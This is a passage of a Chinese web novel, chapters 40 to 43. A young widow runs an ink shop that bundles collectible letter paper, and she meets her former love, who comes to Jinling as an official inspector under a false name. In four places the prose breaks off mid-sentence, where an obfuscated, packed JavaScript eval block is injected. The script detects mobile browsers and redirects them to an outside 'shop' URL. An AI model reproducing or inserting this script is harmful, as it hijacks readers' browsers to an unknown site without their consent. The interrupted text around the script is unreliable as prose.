姚月道，手指微微用力，拆开了那墨锭的外壳。 外壳是浅褐牛皮纸叠的，被糊得严实。 她眼前的墨锭，颜色似是稍浅些，但形状要比寻常的长方形墨锭比，多了些棱角。像是特意修整过的。 但这配着墨锭的彩笺，却让她移不开眼了。 纸幅不大，看着刚好能书写一两首律诗，颜色却极为雅致。从苍云逐渐褪为淡淡的蟹壳青，过渡十分自然，翻到背面，可以看到落着两个秀气的小字。 溪花。 她细细地看了，笑道：“这纸笺是叫溪花笺么？颜色确实是好看，金陵城里此前都是些白色、米黄的纸笺，这纸笺倒是漂亮。” 友人一笑，却不接她的话，只道：“你手里这纸笺我也有了，你且拆下一锭。” 第二锭，却让另一位少女发出惊喜的呼声。 “这个色泽好看哎，我怎么还没有！” 姚月也一愣。赠品不应当都是一样的么？她手里这张纸笺，却是晚霞一般的澄明之色，橙黄与暗蓝对撞在纸笺上，颜色鲜明。 她似是反应过来，又拆一锭。 这一锭所配的纸笺是浅淡的茜红色，均匀地铺展在纸面上，桃花一样的色泽。 三块墨锭拆完，姚月笑道：“莫不是还有其他的色调罢？” “说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603790|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对了。我那日拆完三锭，又遣人去再买了三锭，竟是没有重样的。”友人眨眨眼，从身后取出一张来：“这薄藤色，你没有罢？我那三锭里有薄藤和松青色，都极好看的。” 那薄藤色的纸笺上，居然还拿墨浅浅地绘制了几枝紫藤花，让人都不舍得下笔。另一张松青色的虽然没有画图案，颜色也是少见。 “这紫颜色确实招眼呢，你若是不喜欢，和我换好不好？我拿这张给你。” 姚月移不开眼，只随手一指她刚刚抽到的茜红色纸笺。 “我不与你换，这茜红色固然好看，数量可是最多的，你若是给我那张橙的，我可以思虑一下。”友人笑道。 姚月心里仍放不下那张薄藤色花笺，却也不舍得友人指名想要的那张。那张两色相撞，颜色也很是好看呢。 “现下你懂了罢？”友人一笑，也不提交换的事：“我缘何要让你买三锭，这么漂亮的纸笺，只怕买三锭还是不够呢。我自己也舍不得给人。” “况且有的纸笺上还会绘花，现在那铺子声音可是好着的，我瞧着那崔氏的小女儿已经遣人去了好几次了，怕是买了十几锭。” 姚月一听，却是急了。 “若是售完了怎么办？”她看看手里那三章纸笺，还想再买到一张薄藤色的。 “那你只能再遣人去买了。” 少女们来回传看那些彩笺，又有几人心动，遣家仆去排队了。 * “夫人早料到这样的局面？” 后院里，帮工小苏执一只娟秀的兼毫毛笔，正在纸笺上绘制花样子。 叶采苓亲自上阵，在一旁给她递同色的纸笺。 “你所指何事？” “就是，大家不止买一锭，反而会一次买三锭，甚至买更多。”小苏道。 此前叶采苓说要制定规矩，限制顾客所购墨锭数量，她们几个帮工还觉得古怪。明明是为了提高销量，怎么反而要限制数量呢。 谁知道销路一开，买墨的人却是一日比一日多起来。 直到今日，已经是大排长龙了。 也不乏有人拿着某张溪花笺过来，只说指名要这一张。 铺子里便会按着林彩夫人此前教的话术，道溪花笺数量有限，她们也不知晓何时能有相同的花笺。现下都是将花笺打包进墨锭里的。 “这花笺是为了配墨锭方才赠的，客人您回去一定要用用这墨锭。”末了，帮工们还要再叮嘱一番。 因为叶采苓订购京中的溪花笺的时候，特意嘱托过采买的伙计，纸质一定要柔韧且光滑。 因此那批墨锭在这纸笺上书写的时候，却是并没有再出现晕染的情况。 反而与纸笺的颜色搭配巧妙，望着相宜。 有了销量作为底气，再见到金陵行会的吴会长的时候，叶采苓笑得极为从容。 吴白羽作为制墨行业的龙头老大，此前销售那溪花笺的时候，他便已经得到手下报来的消息。 想了一晌，已经明白这里面的关节，不得不暗叹叶采苓这一着走的精妙。 她的铺子看似是销墨，实则是在销售这赠品纸笺。 赠品机制又依着人心设计，那墨锭包装的不透明，恰恰让买者心有所盼。 还再加一码，设计了带暗纹的花笺，让一部分即使已经购买花笺的人，也想再买些赌赌看，看看自己能否买到暗纹样式。 因此，软墨与溪花笺，在闺阁女子之间口耳相传，又依靠着刻意制造的稀少花色，令众人趋之若鹜。 此前滞销的墨锭，现下却是全数销售出去了。 这位林夫人，商业头脑的确是有的。 在商言商。 吴白羽正色看面前的林夫人。 “如此，今年的行会评判，商铺决计没有问题。” 在绝对的实力之下，他此刻的态度已经变得十分有礼。 叶采苓同样从容地还一礼。 临行时，吴白羽又谨慎地给叶采苓递了一句话。 “林夫人，江南这一带，最近官场不太平。上头消息灵通，据传有京中大员要前来查访。” “咱们行商的，也要做好迎察的准备。” 41. 第 41 章 “官场不太平……会长所说的，可是前些日子南陵鸣冤鼓，被敲响之事？” “正是。” 那事情并不算光彩，说起来要丢本地行商的脸面。 “那，可是那魏氏一家沉冤昭雪？”叶采苓还要问，吴会长摆摆手。“林夫人消息灵通，这其中的门道，想必你也知晓，我就不便透露了。” 吴会长眉心皱起一道纹路：“此前金陵的商会便因税收之事，与上面的人产生过争执。这次若再查，只怕又有人要遭殃了。” 他补充道：“林夫人消息灵通，既已知晓内情，切莫再与他人讲了。” “好，我知晓分寸。”叶采苓送走吴会长，长叹一声。 那日鸣冤鼓，声震府堂。 魏氏小女儿，持续击鼓一连几个时辰，冤情积郁，鲜血淋漓。 非有大冤不至于此。 而这南陵与金陵离得太近了些。南陵经商出现这样的惨案，而先前金陵也曾出过税收问题，两城又同在江南府下。 京中不会坐视不理，必然会彻查此事。 她回顾了一下自己在京中认识的人，觉得以他们的职位，大抵都会留在京城。 她稍稍放下心来。 * 京中巡按组来的那一日，府衙大堂里早早地便立满了人。 左右各上了仪仗扇，那是平日里极为少见的陈设。 众人低着头，平日里再张扬肆意，此刻也尽数敛回了。都在默默地等着厅上主官到齐。 商会一行人到的时候，见到的正是这样的情况。 金陵知州让他们在此静候，若大员想了解金陵行会，便由他们做些讲解。 吴会长对叶采苓低声道：“我们大抵是来凑数的，这次牵扯颇深的，大概是酒行，与我们墨行倒是无关。” 却见一位小吏匆匆地进了厅。只道：“咱们府台一早便去了横定驿。大家在此歇息片刻。若是巡按组传唤，我再通报于诸位。” 叶采苓心里轻笑一声。江南这一带迎来送往频繁，各地官员早已习惯早早地便去驿站，以第一时间迎接检查的车驾。 都是官场老油条了，横定驿距这金陵城有三十里，也要跑去，以显示自己的忠心。 此时，驿站外。 那位京中大员在官轿里并未下轿，一双眼睛凉凉地望着横定驿外的人群。 “云白，这是何处？” “回主子的话，这是横定驿。离南陵城十里，金陵城尚有三十里。”云白道。 “三十里？难为他们。” 外面迎接的官员见到车队停了，他们要迎接的吏部尚书却迟迟不下轿。嘀咕了一番。不多时自有人过来，吏部侍郎出去，却是揣摩着上司的意图，语气不冷不热。 “阁下是？” “下官金陵知州。恭迎部堂大人莅临江南。大人身负圣命，前来巡查，实乃金陵之福泽。还请官驾稍事歇息，下官已备好茶水接风洗尘。” 吏部侍郎轻轻地摇头。 “我问你，部堂此番出行之前，是否特意嘱咐过，禁绝繁缛，又为何在此处便开始迎接？” “——是置若罔闻，抑或，实际并未传达？” “这……”这话说的委实不留情面，而更让人心悸的是，此刻吏部侍郎说话的态度，其实也正代表了官轿之中，那位吏部尚书的真实态度。 金陵知州额上渗出细汗。但他毕竟也是官场上的老人了，当即找到话头，笑道：“京中的指令我们哪里敢不落实，实则是本地官员，一听说这消息，感到荣幸之至，一定要来驿站迎接，下官想着这也是他们一片赤忱，便没有阻拦。” 这话说的巧妙，把迎接的目的都替换成是个人行为，把自己摘出来。还恰到好处地表了个忠心。 侍郎道：“这话，你留着回去与部堂大人说。现下部堂要走，你们且安排好。第一站，部堂大人要面见本地商会之人。” 金陵知州一听，立即称是。 吏部尚书静静地看着外面驻足的官员们，容色淡淡看不出喜怒。 侍郎回来。态度极为恭敬。 “……大人，下官已安排妥当，我们先去府衙，金陵商会相关之人已候于此处。” 吏部尚书点点头。 “且去看看。” 金陵知州知道自己今日迎来送往做的有些过火，此刻先遣人回金陵主城，立即安排人去了府衙大堂。 叶采苓在府衙大堂里并未呆多久，便有人过来，让他们准备好迎接。 她今日着一袭淡青百迭团云纹大袖衫，外罩松蓝嵌金比甲。 这衣裳料子雅致，适合这样的场合。不过颜色偏深，又刻意选了素淡的纹样，故而在人群中并不扎眼。 她要的就是这样的效果，只求京中来巡查的官员不要注意到她。此刻她随着金陵墨业行会的几人在前面等着。 不多时，却见得一行人过来。 她听方才的人说，此番调查的官员主要来自六部里的吏部与礼部。又以吏部尚书为首，现在在任的，是程尚书。 程尚书她曾在朝中打过照面，性情敦厚，身量不高，是个老好人。 她便在人群里抬眼向上望去。 一道挺拔的背影没有停顿，径直走向几案的最上首。背影修长匀直。 像寒夜里的松竹。 ……并不像程尚书，倒像，一位故人。 不会吧？ 她心里一惊。 上首那人已开口，他音量一向不大，端的是从容沉稳。 “我分管吏部。” “此番召集诸位，因京中需详察江南府营商情况。南陵先前所出恶性伤人案，刑部极为重视，牵头六部成立巡按组。” 他与候在一旁的金陵知州低语了几句。对方立即会意，站起身来道：“督察无论如何绕不开南陵伤人案，先请南陵知县讲两句吧。” 知县此刻便简明地叙述了南陵那案子的经过。 那案子因为讨债而起。 魏家盘下南陵的一处小酒坊，卖过几年酒酿。前些日子，魏家小儿子生病，又正逢两位老人返乡，酒坊便关门歇业了三月。之后魏家听说那病有神医可治，就卖了铺子入京治病。 但正是这一举动，埋下祸端。 孩子最终没有治好，他们哀恸回乡，却被上门讨债的人堵了个正着。 讨债的人不说别的，只向他们讨要那歇业三月的行会摊派费。 魏家男人说自己早已不卖酒酿，为何还要上交，对方只道，酒行的规矩，只要这酒酿铺子在一天，就要交一天的钱。 魏家男人心一横，再加上家底已被治病掏空，自己又不再卖酒，便硬气地说不交钱。 对方只阴恻恻一笑，转天挑着男人不在的时候，拿着棍棒上门砸了他们的院子。 老人颤巍巍上去阻挡，被气得心绞而死。魏家人去报官，官府只道他们会查。 再遇上对方，那人不仅没有被官府抓捕，还继续找男人要债。 男人丧母，气血上头与他们搏斗，被刀砍到了大腿。无法止血。 最终竟活活流血身亡。 几日之间，魏家五口人，只剩下一妻一女。 事情太过惨烈，当地人口耳相传：魏氏小女儿含恨敲击鸣冤鼓，直到满手鲜血。京中派巡按组接管。 金陵知州等对方讲述完之后，道：“在座诸位都是金陵商界的佼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660132|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佼者，此案之惨烈，更警示诸位同僚不可怠忽职守。此案与酒行关系密切，酒行的会长来了么？” “回大人的话，梁会长他……病重在家。” “这……”金陵知州有些心惊地抬眼望了一眼在台上的程尚书。京中巡按组点名要查，梁喜他竟然敢不来。 程尚书面无表情。 金陵知州只得扬声道：“来人把他请来。” 再问酒行几位分会长，却是称病告退的一堆。 金陵知州在台上，脸色极其难看。江南商业发达，政商界限不甚模糊。但这次这些人搞的有些太过火了。 他们胆敢当场称病，正是笃定自己背后的官员会护着自己。 今日称病的这几位，的确有些手眼通天的，据说行商关系都打点到了京中。怕是连今日主察的吏部大员都入不了他们的眼。 有些事不上台面，便也不好管理。 他在台上有些惶急。眼睛四处转，却是看到了人群中间的几个人。 金陵墨业，相较酒业、采砂、烟草这些行会，却是清白得多。 “大人，这些人缺席，想必也是家中有事。不若下官先遣在场的行会，给您汇报下金陵的商业风气。”金陵知州急中生智，挥挥手道：“就从制墨行业开始罢。墨行的吴会长，也是金陵本地人，世代经商，商业手段不俗。吴氏在江南墨业很是有名气啊。” “罢了，你且说来。先说说这行会摊派费。”台上的大员也发话。 吴白羽冷汗下来了。 这种局面……最是难回答。 行会摊派费，各行各业都是会收的。但区别在于他们商会收的比例。墨业利润并不高，且有技术壁垒。 故他们也就是寻常征收，偶尔拿这个费用做刀，小赚一笔。 但有些行业，譬如酒业。据他所知，梁喜那人本就带着匪气，也因为自己在本地关系打点得当，行会摊派收的毫不留情。 但若是他如实回答，事后这京中的调查组走了，他吴白羽可还是要在此处办事的。梁喜被处置的话还好，可万一……梁喜能全身而退呢？ 毕竟他可从不避讳，逢人必说自己在京中的那几个干爹。 吴白羽心思转了几下，却是起身来，一拱手道：“近日我长辈病重，回乡奔丧，故对这墨行最新的经营，却不是很了解了。” 他回身一指：“这位林夫人，盘下墨铺尚不足一年，经商成果却是斐然。我想她更能代表我们行业。” 这下烫手山芋总算从吴白羽手里交出来了，他此刻满意地抬头一笑，唇边笑容却僵住。 等等。 台上那位大员的脸色，此前听到酒行数人称病，都没什么变化。 此时神情却显得……有些幽暗。 那双眼睛眸光深深，此刻只定定地盯着台下。就好像他看到了什么，又好像是在梦里。 彩云易散，琉璃薄脆。 他深知世间好物大抵都如此，故他只是定定盯着那道身影，却不敢再出声。 是她。 谢泓眼眸低垂，微闭双眼一霎。 情况已经严重成这样了么？他寻常的生活里，却也能看到她的影子？ 再睁眼，他只望着吴会长。 “说完了么？” 吴会长连忙调动脸上的表情，只当自己刚刚看到的都是错觉，热切道。 “……林夫人身为新寡，却在行业风生水起，足见我们金陵营商环境甚好，商业蒸蒸日上啊。林夫人，你且来说两句罢？” 却见那位程尚书微微眯起眼睛，意味深长地低声念了一句。 “……新寡？” 他这幻觉，竟然真实至此么。 42. 第 42 章 果然，此刻还是被吴白羽这老狐狸点起来了。 叶采苓从听到那一把熟悉的声音的时候，就在祈愿自己今日不要和这人有什么交集。 管他为什么要替程尚书来调查，却不用自己的真实身份。 她确定，上首那人一定是谢泓。 只是，她起身的一刻，事情却好像自动合情合理地发展了起来。就好像有一个人接管了她的身体，在替她发言。 “金陵行商，自有自己的规矩。但我作为外地人，也是因为夫家曾在这里有过产业，才过来做事的。” 她坦然讲完，像与此前行会众人寒暄一样，讲出自己身为新寡，独自行商的经历。 “很好。” 谢泓道。 暗自咬咬牙。 他在内阁做事也不是一日两日，早已习惯把自己的情感掩藏在一副清正光华的外表之下。此刻却因为面前这位林夫人的发言，觉得牙根气得都有些疼。 她若真是新寡？ 他倒要看看，是谁这么大胆，敢娶她为妻。 回神后又觉得自己有些好笑。对着幻觉开始审判了。 便又敷衍了两句，看着幻觉里的叶采苓从容地坐下后，他转身去问身后的金陵知州。 “所以这金陵行会，到底有无这行会摊派费？我见墨业的摊派费，像是合情合理。那酒业的摊派费，为何能活活将人逼死？” “两者之间，差距有多少？你们的账本有么？且搬来。” 两句话，将金陵知州准备辩解的口都堵死了。 知州心道，还以为吏部这些人只管人事升迁，没想到对下面的弯弯绕绕却也看得很分明。 当下不敢敷衍些许。 “若要查账，需要移步后院府库。” 知州通报之后，立即遣人去府库拿。 却听得程尚书随意道：“好，今日参与的众人，也可以散了。” 叶采苓一愣。 谢泓这人到底有没有看出来什么？好像没有注意到她。 但见其他行会的人也都起身离开了，她也悄悄起身，顺着人流离开。 却听到身后传来一道声音，是金陵知州。 “那位开墨铺的林夫人可在？部堂查账，需要有人做帮手。我见你今日发言对商业很熟悉的样子，就你了。” 金陵知州并不知道这两人之间的暗流涌动。 他只想着尽快把这巡按组请出去，又思虑到，这次巡按组似是没有带查账的人手，便从本地支了几个人。 偏巧就点了叶采苓，让她想找托词远遁都不得法子。 她轻叹一声。 查账的地方并不远，一个小吏过来，让她帮着翻看些账本。 账本都是拿黄纸写的，蝇头小字，仔细看来倒是很有章法。依着年份月份一册一册地摆放的齐整。 她便在账册附近寻了一张几案，将自己所带的东西放在上面。等有人来寻账本的时候帮着翻找。 巡按组的人也并不常出来，只有在里间门开的时候，她才能听到里面传来的只言片语。 大抵还在商议那行会摊派费是否妥当，在账目中的比例又有多少。 过了许久，里面议事的声音渐歇，到了午饭的时辰。 耳听着里面传来窸窸窣窣的推椅，收拾文书的声音，她当即低头佯装收拾文书。 里间，一行人鱼贯而出。 她料想巡按组事务众多，查账现场又有不少帮工，谢泓注意不到她。只做出在认真查找账目的样子。 果然，并没有人出声叫她。直到最后，金陵知州缀在人群后头，注意到她，道：“今日你做的不错，回头我与吴会长说，墨业行会一向是省心的。给你们行会拨些物资银钱，以资鼓励。” “还要仰仗上头的扶持。” 叶采苓笑道，也低声很有礼貌。 谢泓在前面，猝然回头。 他头脑里的幻觉，似是和人在对话？但他已经走到了前头。 压下心头那一阵没来由的烦闷，他微微蹙眉。 金陵知州鞍前马后，这会子又到前头领路，笑道已经安排好了中午的饭食，诸位大员随他前去。 再回头，那女子已经不见了。 叶采苓脚步轻快，走出衙门。静霜大抵再过些时间就来了，她在门口抬头望望道旁的梧桐，觉得心头松快了不少。 在账房里的时候，总觉得手脚冰凉。就像再次置身那场差点让她殒命的江难，鱼群又萦绕在身边。 她本来以为可以忘记他。但等再次听到那人的声音，在高堂之上见到熟悉的身影的时候，还是觉得心里一阵钝痛。 想必现在，家里妻子已经在遥遥地盼着他归来了。 红袖添香，举案齐眉。 她拼尽全力中举入仕，成为女官。到最后还是抵不过温道盈的一句话。 也抵不过那一道懿旨。 她的死，不过是成全。 尚在出神，却听到一道女声，是小女孩怯怯的声音，带着些紧张。 “这位，这位女官。” 她低头看。 小女孩眼睛很大，衣裳是拿破旧的灰色粗布缝制的，但很是干净。 只是，女官这句话来得实在太巧，让她一晃眼好像又回到在京中上朝的那几年。 京城的秋天是一年里天空最澄明的时候。 她在红墙下执着笏板，从从容容地前行，心里想着最近的政事。 暗流涌动，却又秩序井然。 那是她最接近，能为民请命，这一理想的时日。 叶采苓见是个小孩子，温声笑道：“小姑娘，这里没有女官。女官们都在京中呢，你是要找在县衙里面的人么？” 小女孩见叶采苓并没有露出厌恶神色，又胆子大了些。 她挺直了身体，试图表现得郑重一些，道：“姐姐，我名魏语秋……” 原来是那位敲击鸣冤鼓的小女孩。 魏语秋听说有人要来给她们家伸冤，一早便来县衙门口等着，想问问进展。只是来的时日不对，阴差阳错只碰上叶采苓。 她谨慎地开口，只想旁敲侧击问到一点消息。 叶采苓半蹲着身体，直视着她的眼睛，安慰道： “你已经做的很好了。” “好了，日后若有何事，尽可来寻我。改日我带些东西，来看你。” 叶采苓见静霜带着马车来了，牵起魏语秋的衣袖。 魏家母女两个现在暂住在一处杂院。与许多人合住在一起。她将魏语秋一直送到母亲手里，确认安全后，才与静霜一道回到自己住的小院。 只是本以为今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678442|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以休息半晌，下午，唤人的小吏又如期而至。 罢了，在行会一天，做一天的事。 她只得又去县衙，对着账目开始翻找。 金陵的账本记得还是规范，每一条目都包括日期、交易内容、收支金额，以及文字摘要。 里间有需要的，她便依着号码递上。 谢泓在里间微微皱着眉。 “谢元辅，我已经捋出了现有的酒业的交税记录，还是有缺失。” 对外众人都称他程尚书。此刻，知晓内情的人便唤他本职。实则是巡按组人员拟定完成之后，程尚书身体却出了问题。吏部与刑部联合查案，便报给内阁。 这案子性质恶劣，朝内分外关注。 巡按时间并不长，内阁经过商议，便也觉得由谢元辅带队巡按，完全可行。 程尚书身体抱恙，且谢元辅对吏部事务熟悉，故请他出山。 谢泓却知道。 自己这次答应出来，除了是自己的工作职责之外，还有一个难以言说的原因。 溪明墨阁。总行就在金陵。 记忆里的少女眼睛明亮如星，微微扬着唇，唤他大公子。睫毛在她眼下投下一小片阴影，像要融进早春的叶影花枝里。 不能想。 一想就是牵动骨血的疼。 只是，等事务忙完了，去溪明阁看看罢。 他不动神色地将游移的神思拉回正途，旁的人眼里，也只是谢元辅方才在沉思而已。 “此事。”他开口，将整件事件定下基调。“金陵乃至江南府一带，主抓经济之举，本在情理之中。但这一事件传开，却是想某些人心照不宣的东西摆在了台面上。” “有利益分配，就会滋生腐败。” 这句话一出，便证明了京中的态度。 此事，要着实查，并不单单查这一件事，恐怕整个江南府，都要彻底自查。 “是。”他带的几名副职听明白了轻重。几人商议了一晌，便给谢泓报上方案。 “元辅，若是如此，下官们觉得倒是可以分几队去查。过分征收杂税，纵容恶仆当街抢掠，这类事情，经这几日走访，实有发生。除了金陵、南陵、周边的县州也要一一查到。” 谢泓挥挥手。 “这些细节，你们自行拟定即可。” 站在一定的高度上，便没有必要事无巨细地跟随。 下属们点头，各自散去。见接下来的工作已经安排妥当，他轻轻呼出一口气，起身推开内间的门。 叶采苓正靠在几案旁，以手支头，随意地看着手里的账目，冷不防听到门扇开启的声音。 以为又有小吏要让她寻账本，便起身。 却见到门扇之内，天锦袍袖微扬，露出一截清瘦手腕。 谢泓推门而出，单手负在身后，目光定定地望着她。 一瞬间血流的速度都好像要慢了下来。她听不见周遭的声音，只见到面前那张熟悉的脸。 说来好笑，隔着这么些年的时光再看这人，却好像还是和记忆里一样。 谢泓声音有些低哑。 “你……” 却见到面前女子温柔地偏偏头：“程尚书，可是认错人了？” 她眸光清湛，却没有半分波澜。 ——似是与他并不相识。 43. 第 43 章 “……您认错人了。” 林夫人低垂螓首，唇瓣轻启，语气疏离而温缓。 谢泓望着她如云的鬓发，没来由地觉得，心脏抽痛了一下。 从他的角度，只能看到眼前女子半张瓷白脸孔，与耳垂上玲珑的珊瑚珠。 但就是这一点影子，却与他记忆里的那人完全重合。 世上真有如此相似的两人么？ 抑或她真的陨身江水？ 但面对与她一模一样的面孔，他却实在是无法说出别的话来。 “程尚书，这是要寻账本么？”面前女子又开口了，带着恰到好处的迟疑。 那的确是面见京中官员的态度。 “账本……是啊。” 对面的男子顿了一顿。 他眼瞳里有不动声色的疑惑，但面具戴久了，为官的场面话说得也流利。 “——那有劳林夫人了。大周十五年，南陵县税赋的账册，这里还缺少两本，烦请林夫人帮我找找。” “是。” 见对方脸色如常，叶采苓也稍稍放下心来。 她打定了主意，就当不认识谢泓。 也因此刻意将自己的语气，调整成寻常谈天一般。 如今她以林彩的身份生活，在金陵也有了根基，墨铺经营的很是红火，已是数一数二的铺子。她的身份证明是宁金鹤做的，全套无懈可击。 她并不愿意因为谢泓的一次偶然出现，搅乱自己的生活。 她现在靠自己，过得已经很好。 就当是陌路人，本应是陌路人。 账册依着年份排列的很是整齐，唯一不便的地方就是因得年份过于久，有些账册上方积上了一层薄灰。 她小心地取下方才所需要的账册，将薄灰清理掉，放在托盘之上。 寻完账本交回。 面前男子长睫微垂，亦是十分有礼地接过托盘。 手指与手指之间隔着恰到好处的距离，没有碰到她身体半分。 光影交错之间，他收回双手。 叶采苓鼓动的心跳稍稍缓和了些，微微吐出一口气。 两人如今彬彬有礼。 这便再好不过。 直到天色将晚，巡按组的人再次鱼贯而出。 她彻底放松，低头收着自己带来的物品，准备转身去县衙门外。 今日午后便告诉静霜，让她估摸着时辰在门外接自己，现下估计是已经到了。 正这么想着，一转身。 却见到内间房门依旧开着。 巡按组的官员们不是已经走了么？ 她尚在迟疑，却听到一阵徐徐的脚步声。 谢泓从内间步出，好整以暇地看着她，手里拿着一本账册，斯文微笑道：“林夫人，还有一册，怎的没有交回。” 他半边身体隐在门扇暗影之后，一双眼睛如同初秋的潭水，沉沉望不到底色。 言语里意味深长。 “可是忘记了？” 这场景太过相似，她一瞬间有些恍然。好像回到曾经与他还在云州谢府的时候。 水榭书房，她也是这样在外间等着谢公子。 直到他处理完事务，再将今日所用的书册交还给她。她一边接过，一边与他讲今日所自学的内容。 谢泓唇角含一丝笑听着，在她遇到困扰的时候，不动声色地开口为她点拨。 有的时候她听得出神，也会忘记接过书册。 就好像此时此刻一般。 那他到底有没有看出来什么？ 叶采苓一言不发，只静静地伸手欲接那账本。 手臂靠近的那一瞬间。 谢泓忽然攥住她的手腕。 男子的手指微微用力，却依旧记得隔着衣袖，而非直接接触到她的肌肤。 他开口时尚带着虔诚，像溺水者终于窥见天光。 “你……” 声音低哑，那声音自上方传到叶采苓耳朵里，还带着些不可置信的尾音。 掌心温热的触感，是她——并非梦，也不是幻影。 她真的回来了，是么。 叶采苓毫不留情地后退半步。 向后一避，她不动声色地挣开谢泓的触碰。 只不解地眨眨眼，纤手轻轻拍了拍自己的衣袖。 “程尚书这是，对臣妻感兴趣了么？” “——我寡居多年，还请您自重。” 谢泓怔住。 面前这张脸他在记忆里描摹了千百遍，怎么会不认得。 但…… 他好像还要说什么，叶采苓静静地看着他，只重复了一遍。 “程尚书，还请自重。” 那一瞬间周围的风好像都凉了下来。 谢泓一贯游刃有余，此刻望着她凉水一样的一张脸孔，收回手，却忽地不知道说些什么。 他薄唇微抿，只来得及再抬头望她一眼。 叶采苓没有留给谢泓机会。 林夫人与程尚书，本就不相识。 她只是将万事万物都推回到应有的轨道里罢了。 她温柔地离开。 就好像本应如此从容。 次日墨行并没有再唤她。 她悠哉悠哉睡了一个长觉，醒来时阳光正好，缎子一样铺展在院落里。 静霜替她梳洗，脸色却有些微妙。 “叶姑娘。”私下无人的时候，静霜还是会唤她本名。 “何事？” “方才小苏姑娘来报了，说咱们铺子里的墨，今日却是全售出了，连带那些平日里不好销的墨锭，也一齐出去了。” “是今日忽地顾客变多了么？” “并不是，只有一人，上门也并不挑拣，就好像是想随着性子买些墨似的。” “铺子里想让他留下住址，回头送些新品过去，他拒绝得很是干脆呢。” 叶采苓摇摇头。 随他去。 “静霜，今日可有什么安排？” 静霜回想了片刻：“今日没有人要来上门拜访，倒是有一事，您之前让我采买的书籍和衣裳都送来了，拣选的都是质量优的。” “是了，你且备车，不如我们去魏家现在住的那院子里看看。” 叶采苓道。 那日与魏家小女儿魏语秋，在衙门之前曾有过一面之缘。小姑娘短短数十日，至亲长辈接连去世。 她历经变故，却一直在想方设法改变现状。 这样的心性，让叶采苓很想伸出手再援护她一段。 院门许久未修了，推开的时候吱呀一响。 魏家娘子在院子里搓洗衣裳，闻声抬头见到叶采苓，还记得是那位送女儿回来的贵夫人。 赶忙起身迎接。 听到叶采苓来意，魏家娘子双手还湿淋淋地向下滴着水，已经是连忙回去唤自己的女儿。 “小秋，这位夫人有话要与你说。” 小秋她平日里便想去念书，在巷子里眼巴巴地看着其他学童去给先生交束脩。 刚才那夫人，态度极其亲切，问的竟然真的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724858|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小秋想不想念书。 她的女儿自然是想念书的。 魏语秋放下手里的布样子，几步走出来。 叶采苓半蹲下来，与她平齐，温声问她。 “我也唤你小秋。” 她道：“你愿不愿意，同我一起读些典籍？” 出乎她意料的是，魏语秋听完她的叙述，没有犹豫多久，却是拒绝了。 “家中只剩我与母亲。去学堂学习是好的，但我时间不够了。” 小姑娘身量尚瘦弱，但此刻讲话已经是在用成人的语气，冷静地考虑着身边的一切。 “现在家里只有我和母亲，父亲沉冤也尚未昭雪。读典籍是很好的，但这不是现下我能承担的起的事情。” “但若是能读书，你将来会有机会去更好的地方。” “你可知，京中有三年一度的女官遴选？” 叶采苓还想再争取。 却听到魏语秋坚定的声音：“语秋多谢夫人的好意。” 见小姑娘目光坚定，她便也不好再提，只让静霜把带来的东西给魏家母女放在院子里。 “若你改变心意，可以来寻我。” 她对着魏语秋道。 出门之后，静霜去寻马车，因得这里街巷狭窄，车夫便将马车停到。 叶采苓便在小院附近等她。 眸光却看到，街角处一个人影。她向前走了几步，便见到一张熟悉的脸。 这不是云白么？ 谢泓最得力的长随，已经跟着他许多年。 叶采苓不言语，眼神里却透出明晃晃的疑惑。 见隐藏不成，云白也大大方方地从隐蔽处走出来，对叶采苓礼貌地一拱手。 “叶姑娘，实在是抱歉，主子他担心姑娘的安危，派我跟着姑娘。” 静霜已经寻了马车过来。 站在叶采苓身旁打抱不平：“你们这些人，一个两个倒是也古怪，我们夫人好端端地在这里经商，倒是要被你们错认。” 叶采苓给静霜一个肯定的眼神。 不愧是和她一同经历生死的婢女，关键时刻演技真的很不错。 云白被这一出弄得有些糊涂了。 “可是……叶姑娘……” 他望着叶采苓背后，露出见到救星的神色。 